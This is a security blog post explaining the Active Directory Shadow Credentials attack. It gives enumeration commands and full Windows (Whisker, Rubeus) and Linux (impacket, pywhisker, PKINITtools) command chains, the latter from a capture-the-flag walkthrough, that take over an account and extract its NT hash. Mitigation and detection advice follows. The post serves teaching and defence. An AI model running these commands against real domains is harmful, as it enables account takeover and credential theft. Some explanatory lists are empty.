Understanding the Shadow Credentials Attack Vector

Oct 11, 2024    #windows   #ldap   #msds-keycredentiallink   #shadow-credentials   #active-directory   #rubeus   #whisker   #pywhisker   #cert   #certificate   #pem   #pkinit   #certificate-authority  

Understanding the Shadow Credentials Attack Vector:

The Shadow Credentials attack is an advanced technique that exploits Active Directory’s certificate-based authentication mechanism to compromise user accounts without changing their passwords. This attack leverages the msDS-KeyCredentialLink attribute to add a malicious certificate, allowing an attacker to impersonate the target user stealthily.

To put it simply: If we have the WriteProperty privilege (specifically for the msDS-KeyCredentialLink attribute) over a user or computer object, we can set Shadow Credentials for that object and authenticate as them. You read that right, we can add a certificate-based credential to a user or computer and then authenticate as them. We can also request a Kerberos ticket and use it for pass-the-ticket attacks if needed.

What are Shadow Credentials?

The Shadow Credentials attack exploits a feature in Active Directory called Key Trust Account Mapping. This technique allows an attacker to compromise a user account without changing its password, making it particularly stealthy and difficult to detect.

Key Components of the Shadow Credentials Attack:

  1. Whisker: A tool used to manipulate the msDS-KeyCredentialLink attribute of a user account.
  2. Rubeus: A tool for interacting with Kerberos authentication.

Enumerating Users Susceptible to the Shadow Credentials Attack:

  1. Using PowerView: 
       Get-DomainObjectAcl -Identity "CN=<User Name>,CN=Users,DC=domain,DC=com" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-.*-500" -and $_.ObjectAceType -eq "00000002-0000-0000-c000-000000000000"}

  1. Using Active Directory PowerShell Module:

       Import-Module ActiveDirectory
   (Get-Acl "AD:CN=<User Name>,CN=Users,DC=domain,DC=com").Access |
   Where-Object {$_.ActiveDirectoryRights -match "WriteProperty" -and $_.IdentityReference -match "Domain Admins" -and $_.ObjectType -eq "00000002-0000-0000-c000-000000000000"}

  2. Using ADSI Edit:

    • A GUI tool for viewing and editing AD objects and their attributes.
    • Connect to the domain
    • Navigate to the user object
    • Right-click and select “Properties”
    • Go to the “Security” tab
    • Click “Advanced”
    • Look for entries with “Write msDS-KeyCredentialLink” permission

  3. Using dsacls Command-Line Tool:

       dsacls "CN=Target User,CN=Users,DC=domain,DC=com" | findstr /i "write.*msDS-KeyCredentialLink"

+Shadow Credentials Attack Process: Step by Step+:

Pre-requisites for Performing the Shadow Credentials Attack:

Domain Functional Level: Must be Windows Server 2016 or higher. Domain Controllers:

Attacker Permissions:

  1. The attacker starts with some level of access to the domain, typically with privileges to modify user attributes, e.g. GenericAll, GenericWrite
  2. The attacker needs control over an account with write access to the msDs-KeyCredentialLink attribute on the target user or computer account, this can be inherited via the above permissions.

Shadow Credentials Attack From A Windows Host:

1. Whisker Execution:

The attacker uses Whisker to add a new “shadow credential” to the target account:

whisker.exe add /target:nbarley /domain:sugarape.local

This command:

2. Certificate Generation and Usage:

Whisker creates:

The certificate’s role in this attack:

Instead, the process works like this:

  1. The attacker presents the certificate during the Kerberos authentication process
  2. Active Directory validates the certificate against the one stored in msDS-KeyCredentialLink
  3. If valid, AD issues a Kerberos Ticket Granting Ticket (TGT) for the user
3. Rubeus Exploitation

The attacker then uses Rubeus to leverage the generated certificate:

Rubeus.exe asktgt /user:nbarley /certificate:[Base64 Certificate] /password:"[Password From Whisker]" /domain:sugarape.local /dc:DC.sugarape.local /getcredentials /show

This command:

4. Credential Extraction

As a result of this process:

Shadow Credentials From A Linux Host:

This section is taken from my writeup for the box EscapeTwo: https://bloodstiller.com/walkthroughs/escapetwo-box/

Install Required Programs:

We will need two programs to perform this attack pywhisker & pkinit .

1. Attack Chain Overview:
2. Modify Ownership of the ca_svc user

Modify ownership so Ryan has full control of ca_svc:

impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' $domain/$user:$pass

Grant ryan full privileges over the user ca_svc:

impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' $domain/$user:$pass
3. Add shadow credentials to the ca_svc account & export .PEM:
python3 pywhisker.py -d $domain -u $user -p $pass --target "CA_SVC" --action "add" --filename CACert --export PEM
4. Requesting a TGT for ca_svc with PKINITtools getgtgkinit:

Now we perform the same process again to be able to extract their hash by using the .pem files we have retrieved to export a .ccache we can authenticate with.

python3 /home/kali/windowsTools/PKINITtools/gettgtpkinit.py -cert-pem CACert_cert.pem -key-pem CACert_priv.pem $domain/ca_svc ca_svc.ccache

Next we will load the .ccache into our KRB5CCNAME variable as we will need this for next step.

export KRB5CCNAME=./ca_svc.ccache
5. Requesting the ca_svc user hash with PKINITtools getnthash:

Extract the NTHash for the ca_svc user:

python3 /home/kali/windowsTools/PKINITtools/getnthash.py -key 431c[SNIP]6aee9c22ff3391d9 $domain/CA_SVC

Verify the hash is valid:

Impact of the Shadow Credentials Attack

Shadow Credentials Attack Mitigation Strategies

To protect against Shadow Credentials attacks:

  1. Monitor for changes to the msDS-KeyCredentialLink attribute
  2. Implement strong access controls on who can modify user attributes in Active Directory
  3. Use advanced threat detection systems that can identify unusual certificate-based authentication patterns
  4. Regularly audit and review certificate issuance and usage in your environment
  5. Implement the principle of least privilege for Active Directory administrators
  6. Use Protected Users security group for sensitive accounts
  7. Enable and configure Windows Defender Credential Guard
  8. Regularly patch and update domain controllers and Active Directory services
  9. Implement multi-factor authentication (MFA) for all user accounts, especially privileged ones
  10. Consider using Privileged Access Workstations (PAWs) for administrative tasks

Shadow Credentials Attack Detection Methods

  1. Monitor Active Directory Logs: Look for Event ID 4662 with the msDS-KeyCredentialLink attribute being modified.
  2. Use PowerShell Scripts: Develop scripts to regularly check for unexpected changes to the msDS-KeyCredentialLink attribute.
  3. Implement SIEM Rules: Create alerts for unusual certificate-based authentication attempts, especially from unexpected sources.
  4. Network Traffic Analysis: Monitor for unusual Kerberos traffic patterns that might indicate certificate-based authentication abuse.

Conclusion

The Shadow Credentials attack vector demonstrates the evolving complexity of securing modern Active Directory environments. It highlights the importance of looking beyond traditional password-based security and considering certificate-based authentication mechanisms and critical user attributes.

As defenders, staying informed about these advanced techniques is crucial. By understanding attacks like Shadow Credentials, we can better prepare our defenses and protect our organizations from sophisticated threats.

Sources:


Next: Understanding .NET Deserialization Exploits: A Deep Dive